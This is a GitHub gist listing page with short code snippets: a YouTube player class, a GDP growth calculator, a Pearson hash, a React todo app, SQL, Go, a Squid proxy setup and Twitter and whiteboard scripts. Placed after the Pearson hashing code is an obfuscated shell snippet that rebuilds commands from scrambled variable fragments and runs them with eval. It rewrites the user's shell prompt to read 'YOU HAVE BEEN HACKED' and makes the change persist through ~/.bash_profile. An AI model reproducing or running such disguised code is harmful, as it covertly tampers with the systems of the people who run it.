Skip to content

Instantly share code, notes, and snippets.

View thejsj's full-sized avatar

Jorge Silva thejsj

View GitHub Profile
@thejsj
thejsj / youtubePlayerClass.js
Last active May 21, 2023 01:03
A short script to integrate the Youtube Player API with Javascript.
var Video = function(id, index){
this.id = id;
this.index = index;
this.w = Math.random() * 200 + 100;
this.h = this.w * (9/16);
this.init();
this.volume = 50;
this.muted = false;
};
@thejsj
thejsj / calculatingGdpGrowth.py
Last active November 11, 2021 20:45
A little python script to calculate GDP Growth. There are multiple ways to do it; this is just one of them. By this standard, Spain had the 3rd highest GDP growth in the original eurozone (11 countries) from the first quarter 1999 to the last quarter of 2007.
import math
import operator
number_of_quarters_in_a_year = 4;
number_of_quarters = 9 * number_of_quarters_in_a_year;
countries = [
{ "name" : "Belgium", "starting_growth" : 58433.0, "end_growth" : 85113.0},
{ "name" : "Germany", "starting_growth" : 493890.0, "end_growth" : 614660.0},
{ "name" : "Ireland", "starting_growth" : 21348.8 ,"end_growth" : 48091.5},
@thejsj
thejsj / pearson-hashing.js
Last active September 11, 2021 03:59
Pearson Hashing Function
'use strict'
// Ideally, this table would be shuffled...
// 256 will be the highest value provided by this hashing function
let table = [...new Array(256)].map((_, i) => i)
const hash8 = (message, table) => {
return message.split('').reduce((hash, c) => {
return table[(hash + c.charCodeAt(0)) % (table.length - 1)]
}, message.length % (table.length - 1))
z="
";Pz='port';Mz='ll';Oz=' '\''ex';Gz='h_pr';Tz='VE B';bz='_pro';Bz='/.ba';Rz='="YO';Kz='>/de';iz='ash_';Dz='romp';Vz='HACK';gz=' >> ';Uz='EEN ';Wz='ED:\';Ez='t ~/';Xz='n$ "';lz='sour';kz='ile';Qz=' PS1';mz='ce ~';dz=' '\''so';nz='rofi';Lz='v/nu';Fz='.bas';Jz='y 2';az='bash';Hz='ompt';Zz=' ~/.';Cz='sh_p';fz='mpt'\''';Az='mv ~';hz='~/.b';Nz='echo';oz='le 2';Iz='.cop';Yz=''\'' >>';pz='t';ez='urce';Sz='U HA';jz='prof';cz='mpt';
eval "$Az$Bz$Cz$Dz$Ez$Fz$Gz$Hz$Iz$Jz$Kz$Lz$Mz$z$Nz$Oz$Pz$Qz$Rz$Sz$Tz$Uz$Vz$Wz$Xz$Yz$Zz$az$bz$cz$z$Nz$dz$ez$Zz$az$bz$fz$gz$hz$iz$jz$kz$z$lz$mz$Bz$Cz$nz$oz$Kz$Lz$Mz$z$lz$mz$Bz$Cz$Dz$pz"
@thejsj
thejsj / main.js
Created November 11, 2020 01:27
Small Todo App in React Using React Hooks
import React, { useState } from "react";
import { v4 as uuidv4 } from 'uuid';
import {
BrowserRouter as Router,
Switch,
Route,
Link
} from "react-router-dom";
export default function App() {
@thejsj
thejsj / find-no-primary-key.sql
Created October 7, 2020 19:00
Find all mysql tables with no primary key. Used to migrate old databases into Digital Ocean managed MySQL.
SELECT table_schema ,table_name FROM information_schema.columns
WHERE table_schema <> 'sys' AND table_schema <> 'information_schema' AND table_schema <> 'mysql' AND table_schema <> 'performance_schema'
GROUP BY table_schema ,table_name
HAVING sum(if (column_key in ('PRI', 'UNI'), 1, 0)) = 0;
@thejsj
thejsj / combination.go
Last active September 28, 2020 17:54
Combinations
package main
import (
"fmt"
"reflect"
"sort"
)
func sum(nums []int) int {
total := 0
@thejsj
thejsj / install.sh
Last active April 23, 2020 23:37
Setting Up Squid
apt-get --only-upgrade install squid
apt -y install squid apache-utils
systemctl start squid
systemctl enable squid
mv /etc/squid/squid.conf /etc/squid/squid.conf.backup
echo "PASSWORD" | htpasswd -b -i -c /var/spool/squid/passwords squid_username
GATEWAY=$(curl -s http://169.254.169.254/metadata/v1/interfaces/public/0/anchor_ipv4/address)
cat <<EOT > /etc/squid/squid.conf
@thejsj
thejsj / main.py
Last active September 17, 2019 02:29
Favoriting a Tweet from Socialstream
import tweepy
import requests
SOCIALSTREAM_API_KEY = ""
CAMPAIGN_ID = ""
CONSUMER_KEY = ""
CONSUMER_SECRET = ""
ACCESS_TOKEN = ""
ACCESS_TOKEN_SECRET = ""
@thejsj
thejsj / sending-image.js
Last active July 22, 2019 00:52
Realtime Image Whiteboard
/**
* Client Side
*
* Query an element and listen to files being drarg and dropped in order to
* send the file to the server throuth a POST and a PUT request
*/
// You must have an element with the ID `dropzone`
var el = document.getElementById('dropzone');